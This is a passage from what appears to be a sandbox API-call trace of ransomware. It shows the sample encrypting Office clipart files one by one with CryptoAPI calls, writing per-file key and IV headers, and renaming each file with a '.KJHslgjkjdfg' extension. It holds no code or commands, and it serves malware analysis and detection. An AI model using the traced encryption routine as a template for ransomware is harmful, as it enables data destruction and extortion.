pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0206.839] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0206.839] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0206.839] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0206.839] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0206.839] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0206.839] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0206.840] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0206.840] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0206.840] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0206.840] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.840] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xb9d1, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xb9d1, lpOverlapped=0x0) returned 1 [0206.854] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xb9e0, dwBufLen=0xb9e0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xb9e0) returned 1 [0206.854] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.854] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xb9e0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xb9e0, lpOverlapped=0x0) returned 1 [0206.855] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0206.855] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xbab4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.855] SetEndOfFile (hFile=0x130) returned 1 [0206.858] GetProcessHeap () returned 0x2ef0000 [0206.858] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0206.858] GetProcessHeap () returned 0x2ef0000 [0206.858] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0206.858] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313974.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313974.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313974.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313974.jpg.kjhslgjkjdfg")) returned 1 [0206.860] CloseHandle (hObject=0x130) returned 1 [0206.860] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2feb0c00, ftCreationTime.dwHighDateTime=0x1c97bb5, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2feb0c00, ftLastWriteTime.dwHighDateTime=0x1c97bb5, nFileSizeHigh=0x0, nFileSizeLow=0x40f2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0314068.JPG", cAlternateFileName="")) returned 1 [0206.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0314068.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0314068.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0206.862] GetProcessHeap () returned 0x2ef0000 [0206.862] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0206.862] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0206.862] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0206.862] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0206.884] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0206.884] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0206.884] GetProcessHeap () returned 0x2ef0000 [0206.884] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0206.884] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0206.884] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0206.884] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0206.884] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0206.884] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0206.884] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0206.884] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0206.885] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0206.885] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0206.885] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0206.885] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.885] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40f2, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x40f2, lpOverlapped=0x0) returned 1 [0206.899] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4100, dwBufLen=0x4100 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4100) returned 1 [0206.900] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.900] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4100, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x4100, lpOverlapped=0x0) returned 1 [0206.900] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0206.900] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x41d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.900] SetEndOfFile (hFile=0x130) returned 1 [0206.903] GetProcessHeap () returned 0x2ef0000 [0206.903] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0206.903] GetProcessHeap () returned 0x2ef0000 [0206.903] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0206.903] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0314068.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0314068.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0314068.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0314068.jpg.kjhslgjkjdfg")) returned 1 [0206.905] CloseHandle (hObject=0x130) returned 1 [0206.905] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4b02, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0315580.JPG", cAlternateFileName="")) returned 1 [0206.905] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315580.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0315580.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0206.906] GetProcessHeap () returned 0x2ef0000 [0206.906] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0206.906] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0206.907] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0206.907] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0207.046] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0207.046] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0207.046] GetProcessHeap () returned 0x2ef0000 [0207.046] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0207.047] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0207.047] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0207.047] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0207.047] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0207.047] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0207.047] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0207.047] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0207.047] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0207.047] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0207.047] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0207.047] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.047] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x4b02, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x4b02, lpOverlapped=0x0) returned 1 [0207.137] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4b10, dwBufLen=0x4b10 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4b10) returned 1 [0207.138] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.138] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4b10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x4b10, lpOverlapped=0x0) returned 1 [0207.138] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0207.138] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4be4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.138] SetEndOfFile (hFile=0x130) returned 1 [0207.141] GetProcessHeap () returned 0x2ef0000 [0207.141] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0207.141] GetProcessHeap () returned 0x2ef0000 [0207.141] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0207.141] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315580.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0315580.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315580.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0315580.jpg.kjhslgjkjdfg")) returned 1 [0207.143] CloseHandle (hObject=0x130) returned 1 [0207.143] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x423a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0315612.JPG", cAlternateFileName="")) returned 1 [0207.143] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315612.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0315612.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0207.145] GetProcessHeap () returned 0x2ef0000 [0207.145] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0207.145] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0207.145] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0207.145] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0207.419] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0207.419] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0207.419] GetProcessHeap () returned 0x2ef0000 [0207.419] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0207.419] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0207.420] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0207.420] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0207.420] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0207.420] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0207.420] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0207.420] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0207.420] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0207.420] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0207.420] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0207.420] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.420] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x423a, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x423a, lpOverlapped=0x0) returned 1 [0207.430] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4240, dwBufLen=0x4240 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4240) returned 1 [0207.431] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.431] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4240, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x4240, lpOverlapped=0x0) returned 1 [0207.431] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0207.431] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4314, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.431] SetEndOfFile (hFile=0x130) returned 1 [0207.434] GetProcessHeap () returned 0x2ef0000 [0207.434] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0207.434] GetProcessHeap () returned 0x2ef0000 [0207.434] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0207.434] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315612.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0315612.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315612.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0315612.jpg.kjhslgjkjdfg")) returned 1 [0207.436] CloseHandle (hObject=0x130) returned 1 [0207.436] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4180, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0318448.WMF", cAlternateFileName="")) returned 1 [0207.436] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318448.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0318448.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0207.439] GetProcessHeap () returned 0x2ef0000 [0207.439] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0207.439] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0207.439] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0207.439] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0207.439] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0207.439] GetProcessHeap () returned 0x2ef0000 [0207.439] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0207.439] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0207.439] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0207.439] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0207.443] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0207.443] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0207.443] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0207.443] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, 